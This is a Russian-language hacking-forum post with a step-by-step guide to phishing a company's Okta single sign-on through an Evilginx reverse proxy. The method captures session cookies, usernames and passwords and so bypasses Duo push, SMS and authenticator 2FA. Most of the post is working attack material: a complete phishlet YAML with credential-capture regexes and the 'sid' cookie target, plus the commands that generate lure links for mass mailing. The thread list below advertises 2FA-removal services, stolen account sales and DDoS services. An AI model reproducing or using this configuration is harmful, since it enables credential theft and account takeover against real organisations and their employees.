Обход 2FA (Google Authenticator, SMS)

  • Автор темы klobald
  • Дата начала
K

klobald

Original poster
Бывают случаи, когда тебе нужно кого-то зафишить. Бывает, когда у целевой организации настроен второй фактор для аутентификации — sms, Google authenticator, Duo. Что делать в таких случаях? Нанимать гопников? Подрезать телефоны у сотрудников? Нет! Оказывается, хитрые хакеры написали софт, способный помочь в этой непростой ситуации.​

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

— фреймворк для фишинга, работающий как прокси между жертвой и сайтом, учетки от которого мы хотим получить. Раньше он использовал кастомный nginx, теперь же полностью переписан на Go, включает в себя мини HTTP и DNS серверы, что сильно облегчает установку и развертывание.

Как это работает? Автор софта подробно

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

на своем сайте, детали по установке и настройке можно найти на

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

странице проекта. Почему же удается обойти второй фактор? Фишка в том, что мы не вмешиваемся в процесс ввода кода из смс / временного пароля / пуша от DUO. Мы тихо ждем, пока пользователь успешно пройдет все шаги аутентификации, ловим его куку, и уже ее используем для входа. Попутно на всякий случай собираем его логин и пароль.

В этой же заметке я расскажу о своем опыте и подводных камнях, с которыми столкнулся.


Задача
Итак, нам нужно зафишить контору, которая активно использует

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

как Single Sign-on. В качестве второго фактора используется

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

— решение, фишка которого в мобильном клиенте, позволяющем подтверждать второй фактор через обычные пуш-нотификации вместо ввода 35-значных кодов (привет Google Authenticator). Приступим.


Шаг первый — регистрируем фишинговый домен

В панели нашего провайдера указываем адрес сервера, на котором будет расположен фишинг. Также регистрируем поддомен вида okta.<фишинговый домен>.com

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor.png



Шаг второй — настраиваем Evilginx

Запускаем Evilginx и через команду config

вводим необходимые настройки. Указываем основной домен (не поддомен) и его IP.
Код:
config domain <фишинговый домен>.com
config ip 10.0.0.1

В итоге конфиг выглядит так:

13a0386b0ca79b8dd164d.png


Интересен тут параметр redirect_url

— он указывает куда перенаправлять запрос, когда клиент пришел в корень нашего домена. Зачем это сделано? Если отдавать фишинговую страницу из корня, домен очень быстро вычислят и внесут в списки опасных сайтов, браузеры будут грозно ругаться, и пользователи никогда к нам не попадут. Поэтому мы ее будем отдавать по уникальной ссылке, а корень будет перенаправлять на песню Never Gonna Give You Up.


Шаг третий — настраиваем фишинговую страницу

Тут начинается самое интересное. Так как по-факту на нашем сервере мы вообще не хостим никакого контента, а только проксируем запросы, нам нужно "рассказать" Evilginx, какие именно данные мы хотим получить. Этот "рассказ" мы пишем в специальном формате. Документация по нему доступна на

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

странице проекта. Называются эти описания phishlets. Для некоторых популярных сервисов — facebook, linkedin, amazon они уже написаны и включены в дистрибутив. Нам повезло меньше, из коробки Okta не поддерживается, но добрые люди написали phishlet для

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

версии. Берем напильник и начинаем паять.

Заполняем описание, указываем имя phishlet, авторов, и требуемую версию Evilginx.
Код:
name: 'okta'
author: '@ml_siegel, updated by @hollow1'
min_ver: '2.2.0'

Указываем, какой именно домен собираемся фишить. В нашем случае используется домен вида <имя целевой компании>.okta.com
Код:
proxy_hosts:
  - {phish_sub: '', orig_sub: '<поддомен имя целевой компании>', domain: 'okta.com', session: true, is_landing: true}

Параметр session указывает на то, что именно этот домен отдает нужные нам куки и туда передаются учетные данные, is_landing значит что этот хост будет использоваться для генерации фишинговых URL.
Следующий важный этап — определить все запросы к целевому домену, для того чтобы прокси успешно их переписала на фишинговый домен. Если этого не сделать, пользователь будет отправлять данные не нам, а сразу на оригинальный домен, и никаких учеток мы не поймаем. Переписывать нужно только те запросы, которые непосредственно участвуют в процессе входа пользователя на сайт.
Чтобы четко понимать, что именно требуется для успешной аутентификации, нужно внимательно этот самый процесс изучить. Вооружившись Burp и тестовой учеткой начинаем искать как передается пароль и по каким кукам приложение определяет авторизованного пользователя. Также ищем ответы от сервера, в которых есть ссылки на оригинальный домен.

Находим запрос, в котором передается логин и пароль. Видим что он шлется на оригинальный домен, а нужно чтобы уходил нам.

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-3.png


Вот здесь видно, как оригинальный домен отдает ссылки внутри javascript, их нужно переписать.

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-4.png


Собрав это и еще пару запросов получаем следующие настройки:
Код:
sub_filters:
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '<целевой домен>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']}
  - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: 'https\x3A\x2F\x2F{hostname}', replace: 'httpsx3Ax2Fx2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: '\x2Fuser\x2Fnotifications', replace: 'httpsx3Ax2Fx2F<целевой домен>.okta.comx2Fuserx2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}

Ключевое слово {hostname} как раз используется для замены оригинального домена на фишинговый. Подробнее о синтаксисе этой секции написано

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

.
Помните, нам нужны куки, с которыми мы будем авторизоваться на сайте. Путем проб и ошибок выясняем имя куки —sid, и дописываем его в настройки:
Код:
auth_tokens:
  - domain: '<целевой домен>.okta.com'
    keys: ['sid']

Также нам пригодится логин и пароль пользователя, мы уже нашли запрос, в котором они передаются. Как видно в запросе, нужные нам параметры username
и password передаются в json, дописываем:
Код:
credentials:
  username:
    key: 'username'
    search: '"username":"([^"]*)'
    type: 'json'
  password:
    key: 'password'
    search: '"password":"([^"]*)'
    type: 'json'

Так Evilginx сможет вычленять их из запросов и корректно сохранять.

Осталось немного. Укажем URL страницы логина на целевом домене.
Код:
landing_path:
  - '/login/login.htm'

Укажем URL, по которому мы поймем, что пользователь успешно авторизован.
Код:
auth_urls:
  - 'app/UserHome'

Вот и все! Конфиг целиком:
Код:
name: 'okta'
author: '@*******, updated by @*******'
min_ver: '2.2.0'
proxy_hosts:
  - {phish_sub: '', orig_sub: '<поддомен имя целевой компании>'', domain: 'okta.com', session: true, is_landing: true}
sub_filters:
sub_filters:
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '<целевой домен>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']}
  - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: 'https\x3A\x2F\x2F{hostname}', replace: 'httpsx3Ax2Fx2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
  - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: '\x2Fuser\x2Fnotifications', replace: 'httpsx3Ax2Fx2F<целевой домен>.okta.comx2Fuserx2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']}
  - domain: '<целевой подомен>.okta.com'
    keys: ['sid']
credentials:
  username:
    key: 'username'
    search: '"username":"([^"]*)'
    type: 'json'
  password:
    key: 'password'
    search: '"password":"([^"]*)'
    type: 'json'
landing_path:
  - '/login/login.htm'
auth_urls:
  - 'app/UserHome'

Сохраняем его как okta.yaml в /usr/share/evilginx/phishlets


Шаг четвертый — включаем наш новый фишинг

Запускаем evilginx и пишем команду
Код:
phishlets hostname okta okta.<наш фишинговый домен>.com

Включаем phishlet.
Код:
phishlets enable okta

Под него автоматически создается сертификат от LetsEncrypt.

Проверяем настройки:

3737fbd150a46918ce072.png


Указываем, куда будем редиректить пользователя после успешной авторизации
Код:
phishlets get-url okta https://<целевой домен>.okta.com/

Приложение выдаст ссылку, которую нужно рассылать пользователям, вида https://<фишинговый домен>.com/login/login.htm?rb=9ffe&ec=<уникальный хеш>


Шаг 4 — ждем улов

Рассылаем письма (технологии рассылки — материал для отдельной статьи) и ждем.
Неокрепший доверчивый пользователь идет по ссылке и авторизуется. Видим мы это так:

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-6.png


Все пойманные учетки складываются в sessions. Выбираем нужную и копируем из нее куки:

shok-novyi-soft-dlya-fishinga-pobejdaet-vtoroi-faktor-7.png


Открываем бразуер, подставляем куки и вуаля — мы внутри:


Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.




Послесловие
Evilginx сильно упрощает создание фишинговых страниц, особенно для 2FA. Также эти страницы удобно хранить и делиться ими с друзьями. Способы защиты — использование девайсов стандарта

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, переход на новые

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

аутентификации.
 
  • Like
Реакции: m0nr и Sasha3I8I2
Название темы
Автор Заголовок Раздел Ответы Дата
C Интересно Обход/снятие 2fa, вывод денег без валид почты, работа с API-KEY крипто-бирж Ищу работу. Предлагаю свои услуги. 1
S ScrapingBypass Web Scraping API Обход Cloudflare Captcha Корзина 0
B Обход защиты Предоставляю работу. Ищу специалиста. 0
X Интересно [P.K] coinsbit.io B&C [Обход капчи] Проекты Private Keeper 4
NickelBlack HatCloud - Обход Cloudflare Spam/DDOS/Malware 3
ㅤ ㅤㅤㅤ Интересно Обход CloudFlare Уязвимости и взлом 1
АнАлЬнАя ЧуПаКаБрА INLINE Обход клауда с капчей[CLOUDFLARE] Проекты Private Keeper 3
W Обход блокировки доменов VK Полезные статьи 1
grilder DDoS услуги | Обход DDoS Guard + CloudFlare + Captcha Ищу работу. Предлагаю свои услуги. 1
АнАлЬнАя ЧуПаКаБрА INLINE Обход CloudFlare Проекты Private Keeper 0
E Nulling Service || DDoS || Обход защит || Устранение конкурентов Спам / Флуд / Ддос 2
S Обход recaptcha 2 Полезные статьи 1
G Сниффинг для начинающих [Sniffing for beginners] Обход VLAN Полезные статьи 0
G Обход антивируса с помощью зашифрованных Payload, используя VENOM Kali Linux 0
АнАлЬнАя ЧуПаКаБрА INLINE Обход CloudFlare PK&UBC [Node.JS] Проекты Private Keeper 0
E Обход UAC Win 7/8/8.1/10 Полезные статьи 0
A Обход антивирусов, антиэмуляция. Часть III Другие ЯП 2
A Обход антивирусов, антиэмуляция. Часть II Другие ЯП 0
A Обход антивирусов, антиэмуляция. Часть I Другие ЯП 0
А Обход авторизации Wi-Fi Полезные статьи 19
4 Обход пароля Windows. Полезные статьи 17
WhiteYarik Обход мобилы на мыле Другое 2
Admin Обход капчи, С# + ringzer0team.com С/C++ 1
Admin Детект и Обход анонимайзера Анонимность и приватность 1
Soul_Service Проверено Crypto Logs от Soules | 2FA/SMS | SEED PHRASE | WALLETS | PRIVATE KEY Финансы - биллинги, банки, кошельки, логи 1
D paypal 2fa Финансы - биллинги, банки, кошельки, логи 0
Q Интересно Обходим 2FA PayPal Уязвимости и взлом 0
Р Интересно Способ вывода с Binance и других бирж без верификации по СМС или 2FA Способы заработка 0
K Закрыто [24/7 ОТРИСОВКА]Снимаем 2FA с бирж[Verified] | Выводим деньги с бирж | Документы! | РУЧНЫЕ ДРОПЫ ПОД ВЕРИФИКАЦИЮ[24/7] Корзина 3
K [Слив] Hydra fake - Фейк Гидры лучший на площадке [с обходом 2fa] СИ/Фишинг/Мошенничество 10
I Hydra fake - Фейк Гидры лучший на площадке [с обходом 2fa] Сайты/Хостинг/Сервера 0
M 2FA на UFOLABS Информация по работе сайта и форума 0
C Заходим на любую почту без 2fa Полезные статьи 0
CoderUnicorn Приветствуем всех, кто заинтересован в арбитраже трафика на платформах Google и Facebook! Предоставляю работу. Ищу специалиста. 0
El_IRBIS Интересно Отключаем Google Ad Topics в Chrome: Шаг за шагом инструкция с практическим применением. Анонимность и приватность 0
Tukimondal89 Продам ✅ USA GOOGLE VOICE .LINKEDIN.TEXTNOW.GMAIL.FB ⭐⭐[CHEAPEST PRICE ON MARKET] ⭐etc Трафик, загрузки, инсталлы, iframe 0
Tukimondal89 Продам Google voice,LinkedIn,Gmail,Textnow,Etc social Accounts sell low rate... Карты/CC/Банки/Enroll 1
N MIX 1ML 600K Netflix, FACEBOOK INSTAGRAM TWITTER ADS GOOGLE Spotify Раздача email 0
V Куплю Скупаю все виды Gift Cards и игровых ключей, , STEAM/ PSN / XBOX / ITUNES / GOOGLE PLAY / NINTENDO / NETFLIX, до 85% Куплю/Продам 0
R Продам КРЕАТИВЫ / SHAWTYCLUB \ FACEBOOK TWITTER X GOOGLE TIKTOK Услуги дизайнеров/веб-разработчиков 3
Support81 Gemini: революция ИИ от Google AI - чат-бот, превзошедший человека Новости в сети 0
Support81 Google разоблачила сеть компаний-шпионов, работающих на правительства Новости в сети 1
Support81 Google меняет формат обмена трафиком с операторами связи в России Новости в сети 0
Support81 Google Карты больше не передают данные о местоположении правоохранительным органам Новости в сети 0
Support81 Google хочет заставить вас смотреть рекламу Новости в сети 0
Persik_Buy ✔ Google Voice аккаунты для бесплатных SMS и звонков Ищу работу. Предлагаю свои услуги. 15
N Продам Google voice for sell Аккаунты/Админки/Документы 0
N Zabugor 2M EUROPE USA BASE FACEBOOK GOOGLE TINDER LINKEDIN PSN Раздача email 0
turbion0 Интересно Арбитражный суд Москвы признал ООО «Гугл» – российскую «дочку» Google – банкротом. Новости в сети 1
Tukimondal89 Продам Доступны голосовые аккаунты Gmail и Google. Аккаунты/Админки/Документы 0

Название темы